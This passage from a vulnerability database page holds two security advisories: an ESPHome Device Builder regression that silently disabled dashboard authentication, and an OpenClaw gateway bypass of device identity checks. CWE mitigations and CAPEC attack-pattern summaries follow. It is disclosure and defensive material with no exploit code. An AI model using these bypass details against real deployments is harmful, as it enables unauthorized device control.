a breaking change but was not surfaced in the 2026.6.0 changelog, so operators had no signal to migrate before upgrading.\n\n## Impact\n\nAn unauthenticated client with network access to the dashboard port can manage devices, including editing configurations and flashing firmware. Only deployments that relied on the bare `$USERNAME` / `$PASSWORD` env vars for authentication are affected; deployments using `--username` / `--password`, the new `$ESPHOME_*` env vars, or HA add on ingress are not.\n\n## Severity rationale\n\nAn unauthenticated network client crosses the dashboard\u0027s only security boundary, and a client past that boundary has host equivalent capability. ESPHome\u0027s [threat model](https://github.com/esphome/device-builder/blob/main/docs/THREAT_MODEL.md) documents that an authenticated dashboard caller can run arbitrary code at compile time and read or write files in the config and data directories, so confidentiality, integrity, and availability are all High, with no credentials, no user interaction, and low attack complexity.\n\nThe base score is rated for the worst case, an internet reachable dashboard. That worst case is the right anchor here, because this issue only affects operators who had deliberately configured a dashboard password, and setting a password is the control an operator uses precisely when the dashboard is reachable by parties they do not fully trust, including a deployment exposed to the internet or a network segment shared with untrusted devices. For the affected population a trusted network cannot be assumed, so authentication should be restored as urgent.\n\nOperational risk is lower for the subset of affected installations that run on a single trusted home or business network behind a firewall, since reaching the dashboard there requires an attacker who is already inside that network. ESPHome is [designed for deployment on trusted networks](https://esphome.io/guides/security_best_practices/) with the network perimeter as the primary defense, so that deployment context reduces real world exposure; it does not lower the base severity, and operators on shared, guest, or internet reachable networks remain at full risk.\n\n## Patches\n\nFixed in 1.0.12. The bare `$USERNAME` / `$PASSWORD` are accepted again as a deprecated fallback so previously protected instances stay protected across the upgrade without operator intervention, with a loud deprecation warning at startup directing operators to rename them to `$ESPHOME_USERNAME` / `$ESPHOME_PASSWORD`. The fallback is gated on `$PASSWORD` being set and is only adopted as a pair, so the OS provided `$USERNAME` is never read on its own and the original collision footgun stays closed. A lone bare `$PASSWORD` with no username still fails loud as a credential mismatch rather than starting unauthenticated.\n\nThis restores compatibility rather than failing closed on the legacy names, because the priority is that an instance which was protected before the upgrade stays protected without the operator having to act; the deprecation warning plus a future removal handles the migration. Operators should migrate to the `$ESPHOME_*` names.\n\nThe esphome container delivers the fix in the 2026.6.2 release, which bumps its pinned `esphome-device-builder` version to 1.0.12.\n\n## Workarounds\n\nWithout upgrading, restore authentication immediately by setting the new env vars to the same values, on any affected version:\n\n```\nESPHOME_USERNAME=\u003cyour-username\u003e\nESPHOME_PASSWORD=\u003cyour-password\u003e\n```\n\nAlternatively, do not expose the dashboard port to untrusted networks, and check the startup logs for the `WITHOUT AUTHENTICATION` banner to confirm whether a given instance is currently open.\n\n## References\n\n- Original report against the esphome container: GHSA-446m-c8jp-v37m\n- Env var rename that introduced the regression: esphome/device-builder#265\n- 2026.6.0 changelog (breaking change was not documented): https://esphome.io/changelog/2026.6.0\n- Old setup documentation that used the bare names: https://esphome.io/guides/getting_started_command_line",
  "id": "GHSA-rrxg-g2pf-6hh4",
  "modified": "2026-09-14T18:08:57Z",
  "published": "2026-09-14T18:08:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esphome/device-builder/security/advisories/GHSA-rrxg-g2pf-6hh4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esphome/device-builder/pull/1625"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esphome/device-builder/commit/9e294f729c3eb7334bb57b9fc49b75b728052f52"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esphome/device-builder"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esphome/device-builder/releases/tag/1.0.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ESPHome Device Builder: Renamed auth env vars silently disable dashboard authentication on upgrade"
}

GHSA-RV39-79C4-7459

Vulnerability from github – Published: 2026-02-17 16:37 – Updated: 2026-03-10 18:37
VLAI
Summary
OpenClaw's gateway connect could skip device identity checks when auth.token was present but not yet validated
Details

Summary

The gateway WebSocket connect handshake could allow skipping device identity checks when auth.token was present but not yet validated.

Details

In src/gateway/server/ws-connection/message-handler.ts, the device-identity requirement could be bypassed based on the presence of a non-empty connectParams.auth.token rather than a validated shared-secret authentication result.

Impact

In deployments where the gateway WebSocket is reachable and connections can be authorized via Tailscale without validating the shared secret, a client could connect without providing device identity/pairing. Depending on version and configuration, this could result in operator access.

Deployment Guidance

Per OpenClaw security guidance, the gateway should only be reachable from a trusted network and by trusted users (for example, restrict Tailnet users/ACLs when using Tailscale Serve).

If the gateway WebSocket is only reachable by trusted users, there is typically no untrusted party with network access to exploit this issue.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected: <= 2026.2.1
  • Fixed: >= 2026.2.2

Fix

Device-identity skipping now requires validated shared-secret authentication (token/password). Tailscale-authenticated connections without validated shared secret require device identity.

Fix Commit(s)

  • fe81b1d7125a014b8280da461f34efbf5f761575

Thanks @simecek for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28472"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T16:37:04Z",
    "nvd_published_at": "2026-03-05T22:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe gateway WebSocket `connect` handshake could allow skipping device identity checks when `auth.token` was present but not yet validated.\n\n### Details\n\nIn `src/gateway/server/ws-connection/message-handler.ts`, the device-identity requirement could be bypassed based on the *presence* of a non-empty `connectParams.auth.token` rather than a *validated* shared-secret authentication result.\n\n### Impact\n\nIn deployments where the gateway WebSocket is reachable and connections can be authorized via Tailscale without validating the shared secret, a client could connect without providing device identity/pairing. Depending on version and configuration, this could result in operator access.\n\n### Deployment Guidance\n\nPer OpenClaw security guidance, the gateway should only be reachable from a trusted network and by trusted users (for example, restrict Tailnet users/ACLs when using Tailscale Serve).\n\nIf the gateway WebSocket is only reachable by trusted users, there is typically no untrusted party with network access to exploit this issue.\n\n### Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected: `\u003c= 2026.2.1`\n- Fixed: `\u003e= 2026.2.2`\n\n### Fix\n\nDevice-identity skipping now requires *validated* shared-secret authentication (token/password). Tailscale-authenticated connections without validated shared secret require device identity.\n\n### Fix Commit(s)\n\n- fe81b1d7125a014b8280da461f34efbf5f761575\n\nThanks @simecek for reporting.",
  "id": "GHSA-rv39-79c4-7459",
  "modified": "2026-03-10T18:37:22Z",
  "published": "2026-02-17T16:37:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rv39-79c4-7459"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28472"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/fe81b1d7125a014b8280da461f34efbf5f761575"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-device-identity-check-bypass-in-gateway-websocket-connect-handshake"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw\u0027s gateway connect could skip device identity checks when auth.token was present but not yet validated"
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.